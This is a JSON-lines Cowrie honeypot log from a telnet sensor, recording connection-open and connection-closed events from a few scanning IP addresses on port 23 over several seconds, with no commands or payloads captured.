{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39824,"dst_ip":"159.203.135.109","dst_port":23,"session":"e35a8813b515","protocol":"telnet","message":"New connection: 147.135.136.77:39824 (159.203.135.109:23) [session: e35a8813b515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:42.183956Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.0.214.217","src_port":38289,"dst_ip":"10.17.0.5","dst_port":23,"session":"95488e366757","protocol":"telnet","message":"New connection: 138.0.214.217:38289 (10.17.0.5:23) [session: 95488e366757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:42.600100Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34366,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f7fc9d6dbca","protocol":"telnet","message":"New connection: 168.119.91.149:34366 (159.203.135.109:23) [session: 1f7fc9d6dbca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:42.688047Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39854,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8e5fb73fe0d","protocol":"telnet","message":"New connection: 147.135.136.77:39854 (159.203.135.109:23) [session: c8e5fb73fe0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:42.697386Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36620,"dst_ip":"159.203.135.109","dst_port":23,"session":"52d84769112a","protocol":"telnet","message":"New connection: 51.79.21.139:36620 (159.203.135.109:23) [session: 52d84769112a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:42.828120Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39858,"dst_ip":"159.203.135.109","dst_port":23,"session":"27384f67a2a9","protocol":"telnet","message":"New connection: 147.135.136.77:39858 (159.203.135.109:23) [session: 27384f67a2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:42.883653Z"}
{"eventid":"cowrie.session.closed","duration":30.73745822906494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:43.039235Z","src_ip":"147.135.136.77","session":"95997bad5f29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36628,"dst_ip":"159.203.135.109","dst_port":23,"session":"f981971ffa7c","protocol":"telnet","message":"New connection: 51.79.21.139:36628 (159.203.135.109:23) [session: f981971ffa7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:43.086242Z"}
{"eventid":"cowrie.session.closed","duration":30.898773908615112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:43.221886Z","src_ip":"147.135.136.77","session":"e8403508b428","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39874,"dst_ip":"159.203.135.109","dst_port":23,"session":"faf0ca6ac660","protocol":"telnet","message":"New connection: 147.135.136.77:39874 (159.203.135.109:23) [session: faf0ca6ac660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:43.345847Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34378,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8c33afdc04b","protocol":"telnet","message":"New connection: 168.119.91.149:34378 (159.203.135.109:23) [session: c8c33afdc04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:43.349078Z"}
{"eventid":"cowrie.session.closed","duration":30.950546264648438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:43.471120Z","src_ip":"168.119.91.149","session":"7ff175293b3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.743887186050415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:43.501027Z","src_ip":"168.119.91.149","session":"41a515ffb3c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48402,"dst_ip":"159.203.135.109","dst_port":23,"session":"8db803619540","protocol":"telnet","message":"New connection: 51.79.21.139:48402 (159.203.135.109:23) [session: 8db803619540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:43.656943Z"}
{"eventid":"cowrie.session.closed","duration":30.781060457229614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:43.671326Z","src_ip":"81.30.157.18","session":"91d56fa85438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39884,"dst_ip":"159.203.135.109","dst_port":23,"session":"0766ea286bbd","protocol":"telnet","message":"New connection: 147.135.136.77:39884 (159.203.135.109:23) [session: 0766ea286bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:43.984854Z"}
{"eventid":"cowrie.session.closed","duration":31.062402486801147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:44.064742Z","src_ip":"147.135.136.77","session":"cb30b8beee40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.492104291915894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:44.077725Z","src_ip":"81.30.157.18","session":"8c5f95eaea40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.398141860961914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:44.104903Z","src_ip":"51.79.21.139","session":"90c0908eb2f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39888,"dst_ip":"159.203.135.109","dst_port":23,"session":"e48f2b5a29fc","protocol":"telnet","message":"New connection: 147.135.136.77:39888 (159.203.135.109:23) [session: e48f2b5a29fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:44.132246Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48416,"dst_ip":"159.203.135.109","dst_port":23,"session":"89f3b1303aa8","protocol":"telnet","message":"New connection: 51.79.21.139:48416 (159.203.135.109:23) [session: 89f3b1303aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:44.486205Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":55532,"dst_ip":"159.203.135.109","dst_port":23,"session":"237c3c045ee0","protocol":"telnet","message":"New connection: 81.30.157.18:55532 (159.203.135.109:23) [session: 237c3c045ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:44.529721Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34380,"dst_ip":"159.203.135.109","dst_port":23,"session":"efe33c420d65","protocol":"telnet","message":"New connection: 168.119.91.149:34380 (159.203.135.109:23) [session: efe33c420d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:44.755993Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39900,"dst_ip":"159.203.135.109","dst_port":23,"session":"d68b9386407d","protocol":"telnet","message":"New connection: 147.135.136.77:39900 (159.203.135.109:23) [session: d68b9386407d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:44.888623Z"}
{"eventid":"cowrie.session.closed","duration":30.720189332962036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:45.018444Z","src_ip":"51.79.21.139","session":"ac08ba5a5603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26374053955078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:45.037178Z","src_ip":"51.79.21.139","session":"abf68a1f6a51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51774525642395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:45.047093Z","src_ip":"147.135.136.77","session":"aa6b87c05910","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39904,"dst_ip":"159.203.135.109","dst_port":23,"session":"74108c57d136","protocol":"telnet","message":"New connection: 147.135.136.77:39904 (159.203.135.109:23) [session: 74108c57d136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:45.054063Z"}
{"eventid":"cowrie.session.closed","duration":31.01312828063965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:45.061963Z","src_ip":"51.79.21.139","session":"a2e3188d2884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39912,"dst_ip":"159.203.135.109","dst_port":23,"session":"270eca1a9b93","protocol":"telnet","message":"New connection: 147.135.136.77:39912 (159.203.135.109:23) [session: 270eca1a9b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:45.071233Z"}
{"eventid":"cowrie.session.closed","duration":31.066127061843872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:45.108071Z","src_ip":"51.79.21.139","session":"de620c5bb995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.901597023010254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:45.211192Z","src_ip":"147.135.136.77","session":"c0879402d943","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39914,"dst_ip":"159.203.135.109","dst_port":23,"session":"480b1825b9c4","protocol":"telnet","message":"New connection: 147.135.136.77:39914 (159.203.135.109:23) [session: 480b1825b9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:45.218429Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39940,"dst_ip":"159.203.135.109","dst_port":23,"session":"24563bbaa6e6","protocol":"telnet","message":"New connection: 147.135.136.77:39940 (159.203.135.109:23) [session: 24563bbaa6e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:45.470507Z"}
{"eventid":"cowrie.session.closed","duration":30.97647213935852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:45.642818Z","src_ip":"168.119.91.149","session":"602663eeef8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":58886,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f54108edc9f","protocol":"telnet","message":"New connection: 37.187.24.227:58886 (159.203.135.109:23) [session: 3f54108edc9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:45.876710Z"}
{"eventid":"cowrie.session.closed","duration":31.36271834373474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:45.995216Z","src_ip":"147.135.136.77","session":"117b1beac18b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41560,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d6c60610e8f","protocol":"telnet","message":"New connection: 147.135.136.77:41560 (159.203.135.109:23) [session: 6d6c60610e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:46.007302Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":55560,"dst_ip":"159.203.135.109","dst_port":23,"session":"8775641b6a08","protocol":"telnet","message":"New connection: 81.30.157.18:55560 (159.203.135.109:23) [session: 8775641b6a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:46.207222Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34390,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d1d4662d710","protocol":"telnet","message":"New connection: 168.119.91.149:34390 (159.203.135.109:23) [session: 4d1d4662d710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:46.249344Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41572,"dst_ip":"159.203.135.109","dst_port":23,"session":"763533a04292","protocol":"telnet","message":"New connection: 147.135.136.77:41572 (159.203.135.109:23) [session: 763533a04292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:46.261717Z"}
{"eventid":"cowrie.session.closed","duration":30.494060277938843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:46.363894Z","src_ip":"147.135.136.77","session":"08953b831e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52226686477661,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:46.428755Z","src_ip":"37.187.24.227","session":"de26ddb9ff80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41598,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0fc7d7a3ee1","protocol":"telnet","message":"New connection: 147.135.136.77:41598 (159.203.135.109:23) [session: f0fc7d7a3ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:46.546360Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":55618,"dst_ip":"159.203.135.109","dst_port":23,"session":"8524f6f24c07","protocol":"telnet","message":"New connection: 81.30.157.18:55618 (159.203.135.109:23) [session: 8524f6f24c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:46.988544Z"}
{"eventid":"cowrie.session.closed","duration":30.70712113380432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:47.031327Z","src_ip":"51.79.21.139","session":"76a8f8efbe4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.585556983947754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:47.039510Z","src_ip":"147.135.136.77","session":"ea5a3b2efb3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83345603942871,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:47.064069Z","src_ip":"37.187.24.227","session":"2c7a4a35d0b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41608,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd0ec6b11dd2","protocol":"telnet","message":"New connection: 147.135.136.77:41608 (159.203.135.109:23) [session: fd0ec6b11dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:47.252253Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41584,"dst_ip":"159.203.135.109","dst_port":23,"session":"efab824578db","protocol":"telnet","message":"New connection: 147.135.136.77:41584 (159.203.135.109:23) [session: efab824578db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:47.362925Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34402,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff32246f167","protocol":"telnet","message":"New connection: 168.119.91.149:34402 (159.203.135.109:23) [session: aff32246f167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:47.373624Z"}
{"eventid":"cowrie.session.closed","duration":30.751662492752075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:47.641120Z","src_ip":"147.135.136.77","session":"9be211d37521","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34418,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7b80e841c1f","protocol":"telnet","message":"New connection: 168.119.91.149:34418 (159.203.135.109:23) [session: e7b80e841c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:47.867439Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":34890,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b53ab01e6fb","protocol":"telnet","message":"New connection: 37.187.24.227:34890 (159.203.135.109:23) [session: 9b53ab01e6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:47.878644Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41614,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f92b0fbf1cb","protocol":"telnet","message":"New connection: 147.135.136.77:41614 (159.203.135.109:23) [session: 6f92b0fbf1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:47.952447Z"}
{"eventid":"cowrie.session.closed","duration":30.930216312408447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.022436Z","src_ip":"51.79.21.139","session":"5e34216ee661","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.849393129348755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.071499Z","src_ip":"147.135.136.77","session":"6b0415c188e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00321888923645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.080003Z","src_ip":"51.79.21.139","session":"536f6c88fffd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.14165449142456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.085996Z","src_ip":"51.79.21.139","session":"b426ef696eba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41624,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea6e0b2a9641","protocol":"telnet","message":"New connection: 147.135.136.77:41624 (159.203.135.109:23) [session: ea6e0b2a9641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.106392Z"}
{"eventid":"cowrie.session.closed","duration":30.52749466896057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.154502Z","src_ip":"81.30.157.18","session":"0c00123fb577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111135482788086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.165593Z","src_ip":"147.135.136.77","session":"67abeb848f4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.310483932495117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.170401Z","src_ip":"81.30.157.18","session":"ded13c3d2b42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":41228,"dst_ip":"159.203.135.109","dst_port":23,"session":"6218950df7f4","protocol":"telnet","message":"New connection: 85.208.100.77:41228 (159.203.135.109:23) [session: 6218950df7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.291882Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41654,"dst_ip":"159.203.135.109","dst_port":23,"session":"f25fbb4b86ac","protocol":"telnet","message":"New connection: 147.135.136.77:41654 (159.203.135.109:23) [session: f25fbb4b86ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.489233Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34432,"dst_ip":"159.203.135.109","dst_port":23,"session":"caac7bd6c08c","protocol":"telnet","message":"New connection: 168.119.91.149:34432 (159.203.135.109:23) [session: caac7bd6c08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.680623Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34436,"dst_ip":"159.203.135.109","dst_port":23,"session":"f301bacae294","protocol":"telnet","message":"New connection: 168.119.91.149:34436 (159.203.135.109:23) [session: f301bacae294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.696436Z"}
{"eventid":"cowrie.session.closed","duration":31.56587266921997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.744391Z","src_ip":"81.30.157.18","session":"1b687caca42f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48548,"dst_ip":"159.203.135.109","dst_port":23,"session":"89a88dd0df8b","protocol":"telnet","message":"New connection: 51.79.21.139:48548 (159.203.135.109:23) [session: 89a88dd0df8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:48.989239Z"}
{"eventid":"cowrie.session.closed","duration":30.97147822380066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:49.014987Z","src_ip":"51.79.21.139","session":"84289f84b8fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48574,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea969afbb0a4","protocol":"telnet","message":"New connection: 51.79.21.139:48574 (159.203.135.109:23) [session: ea969afbb0a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:49.023358Z"}
{"eventid":"cowrie.session.closed","duration":30.545456647872925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:49.032546Z","src_ip":"51.79.21.139","session":"3d55c6d65686","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78563642501831,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:49.069684Z","src_ip":"147.135.136.77","session":"b31a43f85c6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.091700077056885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:49.074677Z","src_ip":"51.79.21.139","session":"b2dc58b8a03b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48578,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec4107ed874e","protocol":"telnet","message":"New connection: 51.79.21.139:48578 (159.203.135.109:23) [session: ec4107ed874e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:49.118796Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48582,"dst_ip":"159.203.135.109","dst_port":23,"session":"2353cbf5f722","protocol":"telnet","message":"New connection: 51.79.21.139:48582 (159.203.135.109:23) [session: 2353cbf5f722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:49.122779Z"}
{"eventid":"cowrie.session.closed","duration":30.77822995185852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:49.248449Z","src_ip":"147.135.136.77","session":"7727c4f6bb2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41668,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe5c179fcce8","protocol":"telnet","message":"New connection: 147.135.136.77:41668 (159.203.135.109:23) [session: fe5c179fcce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:49.283722Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34906,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cd66e916240","protocol":"telnet","message":"New connection: 168.119.91.149:34906 (159.203.135.109:23) [session: 6cd66e916240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:49.512580Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":55636,"dst_ip":"159.203.135.109","dst_port":23,"session":"f13adcf90853","protocol":"telnet","message":"New connection: 81.30.157.18:55636 (159.203.135.109:23) [session: f13adcf90853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:49.518501Z"}
{"eventid":"cowrie.session.closed","duration":31.62170910835266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:49.697616Z","src_ip":"51.79.21.139","session":"3e35ed503c6b","protocol":"telnet"}
